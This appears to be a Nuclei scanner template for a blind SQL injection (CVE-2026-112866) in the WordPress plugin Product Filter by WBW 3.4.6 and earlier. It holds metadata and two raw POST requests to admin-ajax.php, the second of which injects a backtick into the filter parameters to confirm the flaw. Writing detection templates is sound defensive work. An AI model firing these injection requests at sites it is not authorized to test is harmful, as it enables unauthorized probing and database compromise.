id: CVE-2026-112866 info: name: Product Filter by WBW <= 3.4.6 - SQL Injection author: HaroonArshad-53 severity: critical description: | WPFactory Product Filter by WBW woo-product-filter <= 3.4.6 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers perform blind SQL injection remotely, exploit requires crafted input. impact: | Attackers can perform blind SQL injection to extract or manipulate database information, potentially compromising data integrity and confidentiality. remediation: | Update to the latest version beyond 3.4.6. reference: - https://patchstack.com/database/wordpress/plugin/woo-product-filter/vulnerability/wordpress-product-filter-by-wbw-plugin-3-4-6-sql-injection-vulnerability - https://www.cve.org/CVERecord?id=CVE-2026-112866 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L cvss-score: 9.3 cve-id: CVE-2026-112866 epss-score: 0.01164 epss-percentile: 0.67405 cwe-id: CWE-89 metadata: max-request: 2 vendor: woobewoo product: woo-product-filter tags: cve,cve2026,wordpress,wp-plugin,woo-product-filter,sqli flow: http(1) && http(2) http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=woobewoo_pf_filters_frontend&reqType=ajax&pl=wpf&mod=woofilters&filtersDataBackend=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22name%22%3A%22wpf_filter_color%22%2C%22settings%22%3A%5B%5D%7D%5D&queryvars%5Bpost_type%5D=product&queryvars%5Bposts_per_page%5D=12&queryvars%5Bposts_per_row%5D=4&queryvars%5Bpaginate_type%5D=query&queryvars%5Bpaginate_base%5D=&filterSettings=%7B%22filter_recount%22%3A1%2C%22check_get_names%22%3A1%7D&generalSettings=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22settings%22%3A%7B%22f_enable%22%3A1%2C%22f_list%22%3A%22pa_color%22%2C%22f_show_count%22%3A1%2C%22f_frontend_type%22%3A%22list%22%7D%7D%5D&woocommerceSettings=%7B%7D¤turl=http://127.0.0.1:21800%2F%3Fwpf_filter_color%3D1 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "\"filter_state\":{\"exists\":{\"pa_color\"")' condition: and internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=woobewoo_pf_filters_frontend&reqType=ajax&pl=wpf&mod=woofilters&filtersDataBackend=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22name%22%3A%22wpf_filter_color%60%22%2C%22settings%22%3A%5B%5D%7D%5D&queryvars%5Bpost_type%5D=product&queryvars%5Bposts_per_page%5D=12&queryvars%5Bposts_per_row%5D=4&queryvars%5Bpaginate_type%5D=query&queryvars%5Bpaginate_base%5D=&filterSettings=%7B%22filter_recount%22%3A1%2C%22check_get_names%22%3A1%7D&generalSettings=%5B%7B%22uniqId%22%3A%22u1%22%2C%22id%22%3A%22wpfAttribute%22%2C%22settings%22%3A%7B%22f_enable%22%3A1%2C%22f_list%22%3A%22color%60%22%2C%22f_show_count%22%3A1%2C%22f_frontend_type%22%3A%22list%22%7D%7D%5D&woocommerceSettings=%7B%7D¤turl=http://127.0.0.1:21800%2F%3Fwpf_filter_color%2560%3D1 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "\"filter_state\":{\"exists\":[]")' condition: and # digest: 4a0a0047304502200a7a060c4c07d2545d4f798246c7d90307627682490a523399ec206e8cef3293022100fb4ca3a434b151e4d37239c301769b56da24c17a8fc8bf32ec0a5e67f49e239b:922c64590222798bb761d5b6d8e72950